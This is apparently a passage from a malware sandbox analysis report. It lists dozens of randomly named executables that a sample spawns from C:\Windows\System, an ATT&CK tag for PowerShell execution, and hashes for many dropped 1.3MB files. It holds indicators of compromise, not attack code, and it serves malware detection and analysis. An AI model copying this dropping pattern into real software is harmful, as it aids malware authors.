- C:\Windows\System\EzSRZTY.exe
  C:\Windows\System\EzSRZTY.exe
  2⤵
  PID:8608
- C:\Windows\System\fxatTIP.exe
  C:\Windows\System\fxatTIP.exe
  2⤵
  PID:8624
- C:\Windows\System\ezIhfHw.exe
  C:\Windows\System\ezIhfHw.exe
  2⤵
  PID:8816
- C:\Windows\System\cnfmllR.exe
  C:\Windows\System\cnfmllR.exe
  2⤵
  PID:8832
- C:\Windows\System\SEzyjJr.exe
  C:\Windows\System\SEzyjJr.exe
  2⤵
  PID:8848
- C:\Windows\System\pCxAnCB.exe
  C:\Windows\System\pCxAnCB.exe
  2⤵
  PID:8864
- C:\Windows\System\HauseNo.exe
  C:\Windows\System\HauseNo.exe
  2⤵
  PID:8912
- C:\Windows\System\sBzcpVD.exe
  C:\Windows\System\sBzcpVD.exe
  2⤵
  PID:8928
- C:\Windows\System\ULSlBAq.exe
  C:\Windows\System\ULSlBAq.exe
  2⤵
  PID:8944
- C:\Windows\System\mpjPmwf.exe
  C:\Windows\System\mpjPmwf.exe
  2⤵
  PID:8960
- C:\Windows\System\TdkPWzX.exe
  C:\Windows\System\TdkPWzX.exe
  2⤵
  PID:8976
- C:\Windows\System\hlyxboK.exe
  C:\Windows\System\hlyxboK.exe
  2⤵
  PID:8992
- C:\Windows\System\PmoEGTi.exe
  C:\Windows\System\PmoEGTi.exe
  2⤵
  PID:9012
- C:\Windows\System\KgfsQyI.exe
  C:\Windows\System\KgfsQyI.exe
  2⤵
  PID:9028
- C:\Windows\System\OiRBMYg.exe
  C:\Windows\System\OiRBMYg.exe
  2⤵
  PID:9044
- C:\Windows\System\pZsbPll.exe
  C:\Windows\System\pZsbPll.exe
  2⤵
  PID:9060
- C:\Windows\System\CSMSRbM.exe
  C:\Windows\System\CSMSRbM.exe
  2⤵
  PID:9076
- C:\Windows\System\XdBSXml.exe
  C:\Windows\System\XdBSXml.exe
  2⤵
  PID:9092
- C:\Windows\System\BVQdHZT.exe
  C:\Windows\System\BVQdHZT.exe
  2⤵
  PID:9112
- C:\Windows\System\ASchkcQ.exe
  C:\Windows\System\ASchkcQ.exe
  2⤵
  PID:9128
- C:\Windows\System\MilqQNP.exe
  C:\Windows\System\MilqQNP.exe
  2⤵
  PID:9144
- C:\Windows\System\jztDZTR.exe
  C:\Windows\System\jztDZTR.exe
  2⤵
  PID:9160
- C:\Windows\System\lqijnNz.exe
  C:\Windows\System\lqijnNz.exe
  2⤵
  PID:9176
- C:\Windows\System\ICWsogX.exe
  C:\Windows\System\ICWsogX.exe
  2⤵
  PID:9196
- C:\Windows\System\iumXRMy.exe
  C:\Windows\System\iumXRMy.exe
  2⤵
  PID:7580
- C:\Windows\System\GCtcHjB.exe
  C:\Windows\System\GCtcHjB.exe
  2⤵
  PID:8236
- C:\Windows\System\gVcnjJB.exe
  C:\Windows\System\gVcnjJB.exe
  2⤵
  PID:8296
- C:\Windows\System\RYoEMod.exe
  C:\Windows\System\RYoEMod.exe
  2⤵
  PID:8396
- C:\Windows\System\obdDoqM.exe
  C:\Windows\System\obdDoqM.exe
  2⤵
  PID:8412
- C:\Windows\System\cfaTZIg.exe
  C:\Windows\System\cfaTZIg.exe
  2⤵
  PID:8444
- C:\Windows\System\OAROkJJ.exe
  C:\Windows\System\OAROkJJ.exe
  2⤵
  PID:8456
- C:\Windows\System\bsXEvac.exe
  C:\Windows\System\bsXEvac.exe
  2⤵
  PID:8468
- C:\Windows\System\PNeblBI.exe
  C:\Windows\System\PNeblBI.exe
  2⤵
  PID:8488
- C:\Windows\System\QNUOknD.exe
  C:\Windows\System\QNUOknD.exe
  2⤵
  PID:8504
- C:\Windows\System\eiZvZRv.exe
  C:\Windows\System\eiZvZRv.exe
  2⤵
  PID:8520
- C:\Windows\System\fWisNWo.exe
  C:\Windows\System\fWisNWo.exe
  2⤵
  PID:8536
- C:\Windows\System\dvqfnEz.exe
  C:\Windows\System\dvqfnEz.exe
  2⤵
  PID:8556
- C:\Windows\System\NwakdIW.exe
  C:\Windows\System\NwakdIW.exe
  2⤵
  PID:8632
- C:\Windows\System\dTEHtXo.exe
  C:\Windows\System\dTEHtXo.exe
  2⤵
  PID:8584
- C:\Windows\System\Buqjtbl.exe
  C:\Windows\System\Buqjtbl.exe
  2⤵
  PID:8572
- C:\Windows\System\xwncLUx.exe
  C:\Windows\System\xwncLUx.exe
  2⤵
  PID:8652
- C:\Windows\System\pACfjyo.exe
  C:\Windows\System\pACfjyo.exe
  2⤵
  PID:8668
- C:\Windows\System\PDzDiGL.exe
  C:\Windows\System\PDzDiGL.exe
  2⤵
  PID:8740
- C:\Windows\System\MxpdjAK.exe
  C:\Windows\System\MxpdjAK.exe
  2⤵
  PID:8748
- C:\Windows\System\TFrLxlY.exe
  C:\Windows\System\TFrLxlY.exe
  2⤵
  PID:8760
- C:\Windows\System\MXhNvhL.exe
  C:\Windows\System\MXhNvhL.exe
  2⤵
  PID:8780
- C:\Windows\System\pvLfpxu.exe
  C:\Windows\System\pvLfpxu.exe
  2⤵
  PID:8796
- C:\Windows\System\fkVRqcE.exe
  C:\Windows\System\fkVRqcE.exe
  2⤵
  PID:8856
- C:\Windows\System\pvvYRjq.exe
  C:\Windows\System\pvvYRjq.exe
  2⤵
  PID:8920
- C:\Windows\System\DUcZISU.exe
  C:\Windows\System\DUcZISU.exe
  2⤵
  PID:8880
- C:\Windows\System\ugYjeLK.exe
  C:\Windows\System\ugYjeLK.exe
  2⤵
  PID:8884
- C:\Windows\System\QXTCRZF.exe
  C:\Windows\System\QXTCRZF.exe
  2⤵
  PID:9120
- C:\Windows\System\eUEybwN.exe
  C:\Windows\System\eUEybwN.exe
  2⤵
  PID:9056
- C:\Windows\System\gafxDVU.exe
  C:\Windows\System\gafxDVU.exe
  2⤵
  PID:8380
- C:\Windows\System\PigFCtV.exe
  C:\Windows\System\PigFCtV.exe
  2⤵
  PID:8908
- C:\Windows\System\TjKkvDj.exe
  C:\Windows\System\TjKkvDj.exe
  2⤵
  PID:9000
- C:\Windows\System\LEWdzVW.exe
  C:\Windows\System\LEWdzVW.exe
  2⤵
  PID:9036
- C:\Windows\System\EiGwQRG.exe
  C:\Windows\System\EiGwQRG.exe
  2⤵
  PID:9104
- C:\Windows\System\ZJVgYBe.exe
  C:\Windows\System\ZJVgYBe.exe
  2⤵
  PID:9168
- C:\Windows\System\sOrTpan.exe
  C:\Windows\System\sOrTpan.exe
  2⤵
  PID:8280
- C:\Windows\System\dbGGBPH.exe
  C:\Windows\System\dbGGBPH.exe
  2⤵
  PID:8216
- C:\Windows\System\JvIHAEI.exe
  C:\Windows\System\JvIHAEI.exe
  2⤵
  PID:8888
- C:\Windows\System\jvFLene.exe
  C:\Windows\System\jvFLene.exe
  2⤵
  PID:8940
- C:\Windows\System\QQyeyxH.exe
  C:\Windows\System\QQyeyxH.exe
  2⤵
  PID:9208
- C:\Windows\System\FrQOVBM.exe
  C:\Windows\System\FrQOVBM.exe
  2⤵
  PID:9204
- C:\Windows\System\obpnBRj.exe
  C:\Windows\System\obpnBRj.exe
  2⤵
  PID:7460
- C:\Windows\System\nArLkBL.exe
  C:\Windows\System\nArLkBL.exe
  2⤵
  PID:7224
- C:\Windows\System\jTdiaKu.exe
  C:\Windows\System\jTdiaKu.exe
  2⤵
  PID:8432
- C:\Windows\System\vanGabh.exe
  C:\Windows\System\vanGabh.exe
  2⤵
  PID:8472
- C:\Windows\System\MFGNFMV.exe
  C:\Windows\System\MFGNFMV.exe
  2⤵
  PID:8676
- C:\Windows\System\iZVoYgX.exe
  C:\Windows\System\iZVoYgX.exe
  2⤵
  PID:8568
- C:\Windows\System\qIYzGmy.exe
  C:\Windows\System\qIYzGmy.exe
  2⤵
  PID:8512
- C:\Windows\System\idfOGPn.exe
  C:\Windows\System\idfOGPn.exe
  2⤵
  PID:8528
- C:\Windows\System\oFCsxpK.exe
  C:\Windows\System\oFCsxpK.exe
  2⤵
  PID:8500
- C:\Windows\System\rchILvn.exe
  C:\Windows\System\rchILvn.exe
  2⤵
  PID:8636
- C:\Windows\System\nUbDvfC.exe
  C:\Windows\System\nUbDvfC.exe
  2⤵
  PID:8692
- C:\Windows\System\XSIWFHt.exe
  C:\Windows\System\XSIWFHt.exe
  2⤵
  PID:8704
- C:\Windows\System\vKDYgKx.exe
  C:\Windows\System\vKDYgKx.exe
  2⤵
  PID:8724
- C:\Windows\System\XYDjQhN.exe
  C:\Windows\System\XYDjQhN.exe
  2⤵
  PID:8352
- C:\Windows\System\mVIFzbS.exe
  C:\Windows\System\mVIFzbS.exe
  2⤵
  PID:8772
- C:\Windows\System\wCdlWgY.exe
  C:\Windows\System\wCdlWgY.exe
  2⤵
  PID:8828
- C:\Windows\System\gSImGIp.exe
  C:\Windows\System\gSImGIp.exe
  2⤵
  PID:8808
- C:\Windows\System\KVCYVBt.exe
  C:\Windows\System\KVCYVBt.exe
  2⤵
  PID:8332
- C:\Windows\System\WSAoBIp.exe
  C:\Windows\System\WSAoBIp.exe
  2⤵
  PID:9100
- C:\Windows\System\MuAiTMo.exe
  C:\Windows\System\MuAiTMo.exe
  2⤵
  PID:7716
- C:\Windows\System\RSFeHXQ.exe
  C:\Windows\System\RSFeHXQ.exe
  2⤵
  PID:9136
- C:\Windows\System\bUbYoJp.exe
  C:\Windows\System\bUbYoJp.exe
  2⤵
  PID:8872
- C:\Windows\System\MJGigIV.exe
  C:\Windows\System\MJGigIV.exe
  2⤵
  PID:9188
- C:\Windows\System\ptPEsHj.exe
  C:\Windows\System\ptPEsHj.exe
  2⤵
  PID:8364
- C:\Windows\System\ZeVbBiV.exe
  C:\Windows\System\ZeVbBiV.exe
  2⤵
  PID:8564
- C:\Windows\System\wqsMcBg.exe
  C:\Windows\System\wqsMcBg.exe
  2⤵
  PID:8716
- C:\Windows\System\meAjoZv.exe
  C:\Windows\System\meAjoZv.exe
  2⤵
  PID:8792
- C:\Windows\System\IyYrUvX.exe
  C:\Windows\System\IyYrUvX.exe
  2⤵
  PID:8616
- C:\Windows\System\pyTSywG.exe
  C:\Windows\System\pyTSywG.exe
  2⤵
  PID:8744
- C:\Windows\System\tfxwKWX.exe
  C:\Windows\System\tfxwKWX.exe
  2⤵
  PID:9088
- C:\Windows\System\JkMgueL.exe
  C:\Windows\System\JkMgueL.exe
  2⤵
  PID:8892
- C:\Windows\System\SkpDhzG.exe
  C:\Windows\System\SkpDhzG.exe
  2⤵
  PID:7272
- C:\Windows\System\beINSoS.exe
  C:\Windows\System\beINSoS.exe
  2⤵
  PID:8904
- C:\Windows\System\tfRVhwk.exe
  C:\Windows\System\tfRVhwk.exe
  2⤵
  PID:9140
- C:\Windows\System\HxXQkDa.exe
  C:\Windows\System\HxXQkDa.exe
  2⤵
  PID:8088
- C:\Windows\System\zCqgAOB.exe
  C:\Windows\System\zCqgAOB.exe
  2⤵
  PID:8232
- C:\Windows\System\JpHERqf.exe
  C:\Windows\System\JpHERqf.exe
  2⤵
  PID:9008
- C:\Windows\System\AyJIDjr.exe
  C:\Windows\System\AyJIDjr.exe
  2⤵
  PID:8552
- C:\Windows\System\KoNyaEX.exe
  C:\Windows\System\KoNyaEX.exe
  2⤵
  PID:8924
- C:\Windows\System\reyXWFJ.exe
  C:\Windows\System\reyXWFJ.exe
  2⤵
  PID:8348
- C:\Windows\System\DFliMxk.exe
  C:\Windows\System\DFliMxk.exe
  2⤵
  PID:9232
- C:\Windows\System\IEMisAD.exe
  C:\Windows\System\IEMisAD.exe
  2⤵
  PID:9248
- C:\Windows\System\CgZMsBB.exe
  C:\Windows\System\CgZMsBB.exe
  2⤵
  PID:9272
- C:\Windows\System\WJbKsFh.exe
  C:\Windows\System\WJbKsFh.exe
  2⤵
  PID:9288
- C:\Windows\System\hFkNMjg.exe
  C:\Windows\System\hFkNMjg.exe
  2⤵
  PID:9304
- C:\Windows\System\wHphnFY.exe
  C:\Windows\System\wHphnFY.exe
  2⤵
  PID:9320
- C:\Windows\System\ACtksgh.exe
  C:\Windows\System\ACtksgh.exe
  2⤵
  PID:9372
- C:\Windows\System\sWFOxgb.exe
  C:\Windows\System\sWFOxgb.exe
  2⤵
  PID:9392
- C:\Windows\System\fIUhzIb.exe
  C:\Windows\System\fIUhzIb.exe
  2⤵
  PID:9408
- C:\Windows\System\mcfiDHT.exe
  C:\Windows\System\mcfiDHT.exe
  2⤵
  PID:9424
- C:\Windows\System\QGwYxdT.exe
  C:\Windows\System\QGwYxdT.exe
  2⤵
  PID:9440
- C:\Windows\System\veXDkqr.exe
  C:\Windows\System\veXDkqr.exe
  2⤵
  PID:9464
- C:\Windows\System\AwPMINp.exe
  C:\Windows\System\AwPMINp.exe
  2⤵
  PID:9504
- C:\Windows\System\hNLoFLz.exe
  C:\Windows\System\hNLoFLz.exe
  2⤵
  PID:9524
- C:\Windows\System\muiafQf.exe
  C:\Windows\System\muiafQf.exe
  2⤵
  PID:9540
- C:\Windows\System\OMmTzVz.exe
  C:\Windows\System\OMmTzVz.exe
  2⤵
  PID:9556
- C:\Windows\System\gWCNQzP.exe
  C:\Windows\System\gWCNQzP.exe
  2⤵
  PID:9572
- C:\Windows\System\FThqGgd.exe
  C:\Windows\System\FThqGgd.exe
  2⤵
  PID:9592
- C:\Windows\System\lcFkRxN.exe
  C:\Windows\System\lcFkRxN.exe
  2⤵
  PID:9684
- C:\Windows\System\pFGqBxF.exe
  C:\Windows\System\pFGqBxF.exe
  2⤵
  PID:9700
- C:\Windows\System\nPTeOdS.exe
  C:\Windows\System\nPTeOdS.exe
  2⤵
  PID:9716
- C:\Windows\System\odRBogm.exe
  C:\Windows\System\odRBogm.exe
  2⤵
  PID:9732
- C:\Windows\System\zKurisO.exe
  C:\Windows\System\zKurisO.exe
  2⤵
  PID:9748
- C:\Windows\System\rcLdAmD.exe
  C:\Windows\System\rcLdAmD.exe
  2⤵
  PID:9764
- C:\Windows\System\ioGOrjI.exe
  C:\Windows\System\ioGOrjI.exe
  2⤵
  PID:9784
- C:\Windows\System\CRvBgty.exe
  C:\Windows\System\CRvBgty.exe
  2⤵
  PID:9804
- C:\Windows\System\hsqIgfC.exe
  C:\Windows\System\hsqIgfC.exe
  2⤵
  PID:9820
- C:\Windows\System\JvSmpDk.exe
  C:\Windows\System\JvSmpDk.exe
  2⤵
  PID:9836
- C:\Windows\System\iZTshBD.exe
  C:\Windows\System\iZTshBD.exe
  2⤵
  PID:9852
- C:\Windows\System\dIQKbFF.exe
  C:\Windows\System\dIQKbFF.exe
  2⤵
  PID:9868
- C:\Windows\System\RGUWCre.exe
  C:\Windows\System\RGUWCre.exe
  2⤵
  PID:9884
- C:\Windows\System\UYxCmlD.exe
  C:\Windows\System\UYxCmlD.exe
  2⤵
  PID:9924
- C:\Windows\System\HPgJRTN.exe
  C:\Windows\System\HPgJRTN.exe
  2⤵
  PID:9940
- C:\Windows\System\xTtdDjX.exe
  C:\Windows\System\xTtdDjX.exe
  2⤵
  PID:9956
- C:\Windows\System\EYaHZxU.exe
  C:\Windows\System\EYaHZxU.exe
  2⤵
  PID:9972
- C:\Windows\System\VNuRvMJ.exe
  C:\Windows\System\VNuRvMJ.exe
  2⤵
  PID:9988
- C:\Windows\System\TZApBZW.exe
  C:\Windows\System\TZApBZW.exe
  2⤵
  PID:10004
- C:\Windows\System\AWKDKEh.exe
  C:\Windows\System\AWKDKEh.exe
  2⤵
  PID:10020
- C:\Windows\System\ZIXLwBz.exe
  C:\Windows\System\ZIXLwBz.exe
  2⤵
  PID:10040
- C:\Windows\System\NTQzhUf.exe
  C:\Windows\System\NTQzhUf.exe
  2⤵
  PID:10060
- C:\Windows\System\vmdFpLG.exe
  C:\Windows\System\vmdFpLG.exe
  2⤵
  PID:10076
- C:\Windows\System\pRPTSOJ.exe
  C:\Windows\System\pRPTSOJ.exe
  2⤵
  PID:10092
- C:\Windows\System\QwRRYkI.exe
  C:\Windows\System\QwRRYkI.exe
  2⤵
  PID:10108
- C:\Windows\System\uVxyWBW.exe
  C:\Windows\System\uVxyWBW.exe
  2⤵
  PID:10124
- C:\Windows\System\gvdwrHX.exe
  C:\Windows\System\gvdwrHX.exe
  2⤵
  PID:10140
- C:\Windows\System\BDMQzFq.exe
  C:\Windows\System\BDMQzFq.exe
  2⤵
  PID:10156
- C:\Windows\System\CQHoIlj.exe
  C:\Windows\System\CQHoIlj.exe
  2⤵
  PID:10172
- C:\Windows\System\wBZPtls.exe
  C:\Windows\System\wBZPtls.exe
  2⤵
  PID:10188
- C:\Windows\System\ZAUGKOi.exe
  C:\Windows\System\ZAUGKOi.exe
  2⤵
  PID:10204
- C:\Windows\System\tmXskmI.exe
  C:\Windows\System\tmXskmI.exe
  2⤵
  PID:10220
- C:\Windows\System\aVwJhJF.exe
  C:\Windows\System\aVwJhJF.exe
  2⤵
  PID:10236
- C:\Windows\System\LMZqYxX.exe
  C:\Windows\System\LMZqYxX.exe
  2⤵
  PID:8220
- C:\Windows\System\WuMPdHD.exe
  C:\Windows\System\WuMPdHD.exe
  2⤵
  PID:9020
- C:\Windows\System\wgBRWuh.exe
  C:\Windows\System\wgBRWuh.exe
  2⤵
  PID:7932
- C:\Windows\System\BroQsHR.exe
  C:\Windows\System\BroQsHR.exe
  2⤵
  PID:9256
- C:\Windows\System\FgQACEq.exe
  C:\Windows\System\FgQACEq.exe
  2⤵
  PID:8312
- C:\Windows\System\ALTPIuJ.exe
  C:\Windows\System\ALTPIuJ.exe
  2⤵
  PID:8416
- C:\Windows\System\XfjQxpd.exe
  C:\Windows\System\XfjQxpd.exe
  2⤵
  PID:9328
- C:\Windows\System\DdNxlHv.exe
  C:\Windows\System\DdNxlHv.exe
  2⤵
  PID:8496
- C:\Windows\System\ylcmZws.exe
  C:\Windows\System\ylcmZws.exe
  2⤵
  PID:9344
- C:\Windows\System\mchOYWj.exe
  C:\Windows\System\mchOYWj.exe
  2⤵
  PID:9360
- C:\Windows\System\fTPvQOw.exe
  C:\Windows\System\fTPvQOw.exe
  2⤵
  PID:9432
- C:\Windows\System\kdGpKXh.exe
  C:\Windows\System\kdGpKXh.exe
  2⤵
  PID:9420
- C:\Windows\System\dyWoKRk.exe
  C:\Windows\System\dyWoKRk.exe
  2⤵
  PID:9480
- C:\Windows\System\zFrFFqj.exe
  C:\Windows\System\zFrFFqj.exe
  2⤵
  PID:9496
- C:\Windows\System\DEDpSfo.exe
  C:\Windows\System\DEDpSfo.exe
  2⤵
  PID:9460
- C:\Windows\System\HcOgqkL.exe
  C:\Windows\System\HcOgqkL.exe
  2⤵
  PID:9520
- C:\Windows\System\zTroiGw.exe
  C:\Windows\System\zTroiGw.exe
  2⤵
  PID:9568
- C:\Windows\System\ZpXLSPH.exe
  C:\Windows\System\ZpXLSPH.exe
  2⤵
  PID:9580
- C:\Windows\System\TFMYIpx.exe
  C:\Windows\System\TFMYIpx.exe
  2⤵
  PID:9612
- C:\Windows\System\QDUwaKX.exe
  C:\Windows\System\QDUwaKX.exe
  2⤵
  PID:9620
- C:\Windows\System\HKLuivb.exe
  C:\Windows\System\HKLuivb.exe
  2⤵
  PID:9636
- C:\Windows\System\cMDsKoy.exe
  C:\Windows\System\cMDsKoy.exe
  2⤵
  PID:9660
- C:\Windows\System\kXNxIFh.exe
  C:\Windows\System\kXNxIFh.exe
  2⤵
  PID:9676
- C:\Windows\System\UaxsOgU.exe
  C:\Windows\System\UaxsOgU.exe
  2⤵
  PID:9744
- C:\Windows\System\NyDdANp.exe
  C:\Windows\System\NyDdANp.exe
  2⤵
  PID:9844
- C:\Windows\System\czwBXlx.exe
  C:\Windows\System\czwBXlx.exe
  2⤵
  PID:9776
- C:\Windows\System\PorxoTH.exe
  C:\Windows\System\PorxoTH.exe
  2⤵
  PID:9892
- C:\Windows\System\TcNouJc.exe
  C:\Windows\System\TcNouJc.exe
  2⤵
  PID:9800
- C:\Windows\System\YpaQlBW.exe
  C:\Windows\System\YpaQlBW.exe
  2⤵
  PID:9756
- C:\Windows\System\ZmwGfdc.exe
  C:\Windows\System\ZmwGfdc.exe
  2⤵
  PID:9900
- C:\Windows\System\oZDhYbB.exe
  C:\Windows\System\oZDhYbB.exe
  2⤵
  PID:9984
- C:\Windows\System\tccSzuS.exe
  C:\Windows\System\tccSzuS.exe
  2⤵
  PID:9936
- C:\Windows\System\maJtwnT.exe
  C:\Windows\System\maJtwnT.exe
  2⤵
  PID:10000
- C:\Windows\System\YAmkSBe.exe
  C:\Windows\System\YAmkSBe.exe
  2⤵
  PID:9948
- C:\Windows\System\oltNmAw.exe
  C:\Windows\System\oltNmAw.exe
  2⤵
  PID:10100
- C:\Windows\System\sPuVSbR.exe
  C:\Windows\System\sPuVSbR.exe
  2⤵
  PID:10088
- C:\Windows\System\zmbNUvM.exe
  C:\Windows\System\zmbNUvM.exe
  2⤵
  PID:10168
- C:\Windows\System\SAXRpxB.exe
  C:\Windows\System\SAXRpxB.exe
  2⤵
  PID:10196
- C:\Windows\System\Gpbogqu.exe
  C:\Windows\System\Gpbogqu.exe
  2⤵
  PID:10232
- C:\Windows\System\DrxhwbE.exe
  C:\Windows\System\DrxhwbE.exe
  2⤵
  PID:8840
- C:\Windows\System\RMkCMFz.exe
  C:\Windows\System\RMkCMFz.exe
  2⤵
  PID:9228
- C:\Windows\System\gmdiyZx.exe
  C:\Windows\System\gmdiyZx.exe
  2⤵
  PID:10180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AYHGcFW.exe

Filesize
1.3MB

MD5
0ad7cb1a0861e0ff06001fa313369796

SHA1
11b507e10a6365225a3cd32fb235a98584a2b1fd

SHA256
4476473007c8ee8c0f55df92fe8ccd6a428bbeb5d84b45f7a281bc44d7ad60ea

SHA512
2e376daebf69488cb2958af9f8bcd9b5f9f66168977c78da7d29496ef79bc4d3d259f63a4a70d1f977a6731c9d4898878654262ef9758f54323a56fd630759ef

Download Submit
C:\Windows\system\FsaclnR.exe

Filesize
1.3MB

MD5
dbd9b0f533d6a5317fe83a4315462692

SHA1
8cb5f9e3ec29cfa2e11daf0eff55dcab84cafac5

SHA256
4b2afb95468c123abe5132c8b125cbee188d62356e9255eaa762198984c0ce1e

SHA512
40dd5e185718951373ea7077a6889156e54adc947c0084ff693c9efda6b93eecc93b89113c0e77c989ad861442881177e8e9e3583b3005f7c26f301e1b274d75

Download Submit
C:\Windows\system\GFElgAm.exe

Filesize
1.3MB

MD5
6d4dd73aa5cea5c08f671fd751665c76

SHA1
196d9aeec1497ec4d7acd238bc0d36af4c0d4c8a

SHA256
93924c30f15e5ea09caf5085f6579c3cbd381f88b8e1796eed92732af0b2fb01

SHA512
b56ee0bb0252382344c4639e013e6b3f9ec92951f70f593098b770132bc72d1b8404a6cdfbaa33653fcab306d44cf66d45939a08c3f37dbd163b3ff48c7e64ed

Download Submit
C:\Windows\system\GLlBjCI.exe

Filesize
1.3MB

MD5
e54fefd2dc661d05c5909e77517962bb

SHA1
208d4f12f683f4a333afcee312351e2737c422c1

SHA256
15151c680e15416f3b51d203d12cbb562068fe20eb3761983cf4a71c0c230f30

SHA512
85b67d37cfe71a30e25007782db6928c73a9512ffae82577b6a0779d22a1b3937907f7704321e37f7f4491da51e886b2ce3132679cc1572da9897362c3f40531

Download Submit
C:\Windows\system\GrwJOMv.exe

Filesize
1.3MB

MD5
d67085542af1417732d22447a63ecb2e

SHA1
bcbe4e102fc508cc9dd04cc3ac85ca915b9b64c0

SHA256
769d3d4fa5573b2c2099bb6b7ee0bc8e46cff50c00eab1b667e7599c08949350

SHA512
5f013331e3323351dd6c36a62a8bf6dc5de6f39feeefeabcedc66a15d0bc0eea5599dcd9ba7ddfa9640148761aabf4081e0a3b6760a11251217433ea548903e9

Download Submit
C:\Windows\system\KZRaTUZ.exe

Filesize
1.3MB

MD5
08789c1a9e79432ab3ca0b823a26e18f

SHA1
fc81b3d866cbcfcc3b34e0da7a49da9459410e69

SHA256
5f8ed540dfcb5ca7eee23fbbee63fc0e0f822bd233f0f4b0c6df4212283bb9e5

SHA512
7023379d147453486bbecd5d7d9cb464e33725690a9c90c4c2eb364a396e35463df783843156bdadf646d98a11f1417ce73b33b6c02690944cdc0da7a4e1618c

Download Submit
C:\Windows\system\KhkMdgv.exe

Filesize
1.3MB

MD5
e6962183c69719e2b8950352a20f89bf

SHA1
39b322589bee8abf8fb4922604f02c29a2575ba8

SHA256
74dc548a3ec5a1a6d099dc1069fd141bd4ceeae73f31b24d3d63f2c10ee980e2

SHA512
02c7bd1ec2567b2fdabc201cf4820b1416682f24a68805f27cde43bb7bbfde1afa185e8fb575e93b9e58b3f134e87a59fb3e077b70a2461574bb8d495fc3e14b

Download Submit
C:\Windows\system\LjxYoPw.exe

Filesize
1.3MB

MD5
da7768964f2db2aaaaca141d7e737c0e

SHA1
322a445a6432a74091c6fefcafdc216db0e28764

SHA256
0a2d0bcca438cd762c44f8625d913fbae97811678997cbf22259aabb812477e5

SHA512
579f1dfbdd30a214a6f44a40b9621156908438911bf50976b5bb63d1f18bfd07a693da912b0bdcee935a3d1ad22db9c6dd88f9be58ea9ac5b48f45d5cf739e6b

Download Submit
C:\Windows\system\LtieEYa.exe

Filesize
1.3MB

MD5
5b6feffa3fcad42ac3affcef6440eadd

SHA1
adf6dac1c948290c5ea590b23a0421a065caf43c

SHA256
ee219792c2c3db9aa5aef83c4f086c8d3af92e947f2d649c0215eac4d15db938

SHA512
9dcdb3e17ff3f8987704763575b2c5d0f8dc4db30a509b4ce116ffb5e74e706873a4af92f5335d2b7a33a0eaebcdf1408a58efe7bd7f256f6fc01fb7dae079c1

Download Submit
C:\Windows\system\PGKWopQ.exe

Filesize
1.3MB

MD5
ea9c8d3e1447fbae640b1822fe34a87d

SHA1
9017d6ceddb81d52e2a173ec2de1e13caee7e340

SHA256
664dd32458b11e2284802f4b6cee4b163b736868a6bd6179c9da92d5388d1eed

SHA512
372a9fde23a61c8fe3436731516e5ea7f6fd706c805c5ae2cf21a3286c51ac0219cdd5e15f1dca743cc7a7b0cd4c665c2e8e707c243a6b0c36ccccb2ab2a9b3c

Download Submit
C:\Windows\system\PTdocHn.exe

Filesize
1.3MB

MD5
eabd43e998dd32206e4cc66b13f935df

SHA1
e633f52819de34bb2858773643833e549c38b5b8

SHA256
79d41b94f70a8c38df8f1816b192b9b2de019170dca067b06ad41533792be783

SHA512
3aeff9fc607440e6c6b898dc8a4ec84410425ffbfbc6174ff224481797b882ae081385913433e769b451c48f2671a96c542a2f048750ae29582b37b2c085db46

Download Submit
C:\Windows\system\Snzydww.exe

Filesize
1.3MB

MD5
3d0dbcdf582d2e3c792dca894e99785f

SHA1
42f3f03aa17bfd527f1c0e14fa7f30560e7d8507

SHA256
70b535d8ca39ba69053cb334cc3c1e1ee28d9a23dc29b0af05b41afb5f444d92

SHA512
30f9a24b579370b4a7a1c1c908b79abee4d87846badb7bea214e337d126f4375517d1b1696e3f5f884018de21dfacee8d7dcbb35f09b51db9c8695fd605ee7ec

Download Submit
C:\Windows\system\UVsVdGd.exe

Filesize
1.3MB

MD5
5be0be8066e06cb129de19583bcbbed2

SHA1
9bf8bb3f2b4bb7049e8c2e253b4da759b928491d

SHA256
a5391f8140c5f42162af15b242cfc9608d110f80e3c1c6c936448e0119d5897c

SHA512
afa20ae722a790c9a9dc7dd34cd0b358528b5d3b35d9d870c376996cb05f28f32364c6500d8b221aa13d25423b8bb3a827ba9a375680e7a69dc0332fa8215824

Download Submit
C:\Windows\system\UgYmLxi.exe

Filesize
1.3MB

MD5
9e00db89177220612aeb9191d3fb6aab

SHA1
2b20a43f95806d5634aaa8b9194a21deded32d6b

SHA256
7c9835c3576212d644ae0de5d94c64544981cf37c6709a2787435a42904cf3c9

SHA512
543de49af26c78ac11025a201cd80e7504a354e2ce28c5fcc09b268a86c1b28ac483b4212a23d4f7da5f45b2eb492b13e1a0276ffbfc43538bcb04bb937ce69f

Download Submit
C:\Windows\system\WJJLtcI.exe

Filesize
1.3MB

MD5
185c79d86d1e14b63364e77c53afc485

SHA1
f1097090a9fed310783972cb5bebd63bf058dbac

SHA256
c358fa8f415ded7681948bc2d3696c665331452f3e28823135093678932cba81

SHA512
c6f6cefc364b276a5c23b20f148f195e7fecdcdda68b3b6367a91545a6eb7a447816a05893deae2d8d261a914743a8facbd05024f1950f7fdaa15a95c52fbc89

Download Submit
C:\Windows\system\YPoSWck.exe

Filesize
1.3MB

MD5
36eca58e9309e94610abd683f902b84e

SHA1
098ed16fdd7cbc7bc1ee378d067f0b712826a24f

SHA256
f9024928f337392bb8f3c8ef2ae336d8015cd33fc5d41859c3e91a9e63479d3d

SHA512
f641fc21dce156a42ddda341511b633792a3318586de8948be212ff73ea9daf8f717c75d3398c1974df03f27e467c563a84f916432b8f1838d24d4500de0299a

Download Submit
C:\Windows\system\anchqRx.exe

Filesize
1.3MB

MD5
27f24e2aeda78c58112ae9a215bed1e2

SHA1
a140a4b550c36b213db2dc49721d9d9a80343862

SHA256
48ec13951e1b9b0983930583a6842e62d44fae9d94e2ac181d05443202dbfdb6

SHA512
b1e83d00b4b78788e8cedcfb0ce92febcc92d77257951be17c18d8d11b47ddedb732d234cff603ce0150c1ffee31a5e1f39c9afadb8f45e3e668fdcef6f2959b

Download Submit
C:\Windows\system\cBNtPCK.exe

Filesize
1.3MB

MD5
c60bbba4999554df1ce480d4bd48d1fb

SHA1
1ace7f349e912f93f31b05d62e9fb3d2067a8533

SHA256
5fe63e156de4794944995e39475a3f8e47ef37004a64692b1a96e40f5e148b73

SHA512
